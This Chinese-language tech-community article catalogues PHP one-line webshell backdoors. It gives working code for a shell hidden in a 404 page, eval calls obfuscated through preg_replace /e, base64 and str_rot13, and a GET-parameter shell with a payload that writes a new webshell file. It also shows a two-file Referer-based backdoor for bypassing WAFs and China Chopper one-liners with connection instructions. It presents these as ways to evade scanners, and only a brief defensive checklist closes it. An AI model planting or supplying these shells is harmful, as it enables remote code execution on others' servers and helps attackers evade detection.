閱讀883 返回首頁    go 阿裏雲 go 技術社區[雲棲]


那些強悍的PHP一句話後門

我們以一個學習的心態來對待這些PHP後門程序,很多PHP後門代碼讓我們看到程序員們是多麼的用心良苦。

強悍的PHP一句話後門

這類後門讓網站、服務器管理員很是頭疼,經常要換著方法進行各種檢測,而很多新出現的編寫技術,用普通的檢測方法是沒法發現並處理的。今天我們細數一些有意思的PHP一句話木馬。

利用404頁麵隱藏PHP小馬:


  1. <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"> 
  2. <html><head> 
  3. <title>404 Not Found</title> 
  4. </head><body> 
  5. <h1>Not Found</h1> 
  6. <p>The requested URL was not found on this server.</p> 
  7. </body></html> 
  8. <?php 
  9. @preg_replace("/[pageerror]/e",$_POST['error'],"saft");  
  10. header('HTTP/1.1 404 Not Found');  
  11. ?> 

404頁麵是網站常用的文件,一般建議好後很少有人會去對它進行檢查修改,這時我們可以利用這一點進行隱藏後門。

無特征隱藏PHP一句話:


  1. <?php 
  2. session_start();  
  3. $_POST['code'] && $_SESSION['theCode'] = trim($_POST['code']);  
  4. $_SESSION['theCode']&&preg_replace('\'a\'eis','e'.'v'.'a'.'l'.'(base64_decode($_SESSION[\'theCode\']))','a'); 

將$_POST['code']的內容賦值給$_SESSION['theCode'],然後執行$_SESSION['theCode'],亮點是沒有特征碼。用掃描工具來檢查代碼的話,是不會報警的,達到目的了。

超級隱蔽的PHP後門:


  1. <?php $_GET[a]($_GET[b]);?> 

僅用GET函數就構成了木馬;

利用方法:


  1. ?a=assert&b=${fputs%28fopen%28base64_decode%28Yy5waHA%29,w%29,base64_decode%28PD9waHAgQGV2YWwoJF9QT1NUW2NdKTsgPz4x%29%29}; 

執行後當前目錄生成c.php一句話木馬,當傳參a為eval時會報錯木馬生成失敗,為assert時同樣報錯,但會生成木馬,真可謂不可小視,簡簡單單的一句話,被延伸到這般應用。

層級請求,編碼運行PHP後門:

此方法用兩個文件實現,文件1


  1. <?php 
  2. //1.php  
  3. header('Content-type:text/html;charset=utf-8');  
  4. parse_str($_SERVER['HTTP_REFERER'], $a);  
  5. if(reset($a) == '10' && count($a) == 9) {  
  6.    eval(base64_decode(str_replace(" ", "+", implode(array_slice($a, 6)))));  

文件2


  1. <?php 
  2. //2.php  
  3. header('Content-type:text/html;charset=utf-8');  
  4. //要執行的代碼  
  5. $code = <<<CODE 
  6. phpinfo();  
  7. CODE;  
  8. //進行base64編碼  
  9. $code = base64_encode($code);  
  10. //構造referer字符串  
  11. $referer = "a=10&b=ab&c=34&d=re&e=32&f=km&g={$code}&h=&i=";  
  12. //後門url  
  13. $url = 'https://localhost/test1/1.php';  
  14. $ch = curl_init();  
  15. $options = array(  
  16.     CURLOPT_URL => $url,  
  17.     CURLOPT_HEADER => FALSE,  
  18.     CURLOPT_RETURNTRANSFER => TRUE,  
  19.     CURLOPT_REFERER => $referer  
  20. );  
  21. curl_setopt_array($ch, $options);  
  22. echo curl_exec($ch); 

通過HTTP請求中的HTTP_REFERER來運行經過base64編碼的代碼,來達到後門的效果,一般waf對referer這些檢測要鬆一點,或者沒有檢測。用這個思路bypass waf不錯。

PHP後門生成工具weevely

weevely是一款針對PHP的webshell的自由軟件,可用於模擬一個類似於telnet的連接shell,weevely通常用於web程序的漏洞利用,隱藏後門或者使用類似telnet的方式來代替web 頁麵式的管理,weevely生成的服務器端php代碼是經過了base64編碼的,所以可以騙過主流的殺毒軟件和IDS,上傳服務器端代碼後通常可以通過weevely直接運行。

weevely所生成的PHP後門所使用的方法是現在比較主流的base64加密結合字符串變形技術,後門中所使用的函數均是常用的字符串處理函數,被作為檢查規則的eval,system等函數都不會直接出現在代碼中,從而可以致使後門文件繞過後門查找工具的檢查。使用暗組的Web後門查殺工具進行掃描,結果顯示該文件無任何威脅。

以上是大概介紹下邊是截圖,相關使用方法亦家就不在這介紹了,簡單的科普一下。

那些強悍的PHP一句話後門

三個變形的一句話PHP木馬

第一個


  1. <?php ($_=@$_GET[2]).@$_($_POST[1])?> 

在菜單裏寫https://site/1.php?2=assert密碼是1

第二個


  1. <?php 
  2. $_="";  
  3. $_[+""]='';  
  4. $_="$_"."";  
  5. $_=($_[+""]|"").($_[+""]|"").($_[+""]^"");  
  6. ?> 
  7. <?php ${'_'.$_}['_'](${'_'.$_}['__']);?> 

在菜刀裏寫https://site/2.php?_=assert&__=eval($_POST['pass']) 密碼是pass。如果你用菜刀的附加數據的話更隱蔽,或者用其它注射工具也可以,因為是post提交的。

第三個


  1. ($b4dboy = $_POST['b4dboy']) && @preg_replace('/ad/e','@'.str_rot13('riny').'($b4dboy)', 'add'); 

str_rot13(‘riny’)即編碼後的eval,完全避開了關鍵字,又不失效果,讓人吐血!

最後列幾個高級的PHP一句話木馬後門:


  1. 1、  
  2. $hh = "p"."r"."e"."g"."_"."r"."e"."p"."l"."a"."c"."e";  
  3. $hh("/[discuz]/e",$_POST['h'],"Access");  
  4. //菜刀一句話  
  5. 2、  
  6. $filename=$_GET['xbid'];  
  7. include ($filename);  
  8. //危險的include函數,直接編譯任何文件為php格式運行  
  9. 3、  
  10. $reg="c"."o"."p"."y";  
  11. $reg($_FILES[MyFile][tmp_name],$_FILES[MyFile][name]);  
  12. //重命名任何文件  
  13. 4、  
  14. $gzid = "p"."r"."e"."g"."_"."r"."e"."p"."l"."a"."c"."e";  
  15. $gzid("/[discuz]/e",$_POST['h'],"Access");  
  16. //菜刀一句話  
  17. 5、include ($uid);  
  18. //危險的include函數,直接編譯任何文件為php格式運行,POST www.xxx.com/index.php?uid=/home/www/bbs/image.gif  
  19. //gif插一句話  
  20. 6、典型一句話  
  21. 程序後門代碼  
  22. <?php eval_r($_POST[sb])?> 
  23. 程序代碼  
  24. <?php @eval_r($_POST[sb])?> 
  25. //容錯代碼  
  26. 程序代碼  
  27. <?php assert($_POST[sb]);?> 
  28. //使用lanker一句話客戶端的專家模式執行相關的php語句  
  29. 程序代碼  
  30. <?$_POST['sa']($_POST['sb']);?> 
  31. 程序代碼  
  32. <?$_POST['sa']($_POST['sb'],$_POST['sc'])?> 
  33. 程序代碼  
  34. <?php 
  35. @preg_replace("/[email]/e",$_POST['h'],"error");  
  36. ?> 
  37. //使用這個後,使用菜刀一句話客戶端在配置連接的時候在"配置"一欄輸入  
  38. 程序代碼  
  39. <O>h=@eval_r($_POST1);</O> 
  40. 程序代碼  
  41. <script language="php">@eval_r($_POST[sb])</script> 
  42. //繞過<?限製的一句話 

綜上,這些PHP一句話後門可謂五髒俱全,一不小心您肯定中招了,而我們今天這篇文章的重中之重在哪呢?重點就在下邊的總結!

如何應對PHP一句話後門:

我們強調幾個關鍵點,看這文章的你相信不是門外漢,我也就不囉嗦了:

1,對PHP程序編寫要有安全意識
2,服務器日誌文件要經常看,經常備份
3,對每個站點進行嚴格的權限分配
4,對動態文件及目錄經常批量安全審查
5,學會如何進行手工殺毒《即行為判斷查殺》
6,時刻關注,或滲入活躍的網絡安全營地
7,對服務器環境層級化處理,哪怕一個函數也可做規則

我們認為當管理的站點多了,數據量大時,我們應合理應用一些輔助工具,但不應完全依賴這些工具,技術是時刻在更新進步的,最為重要的是你應學會和理解,編寫這些強悍後門的人所處思維,角色上的換位可為你帶來更大的進步。



最後更新:2017-04-03 18:51:52

  上一篇:go Ubuntu 的中國夢
  下一篇:go 8年苦戀阿裏終棄中國雅虎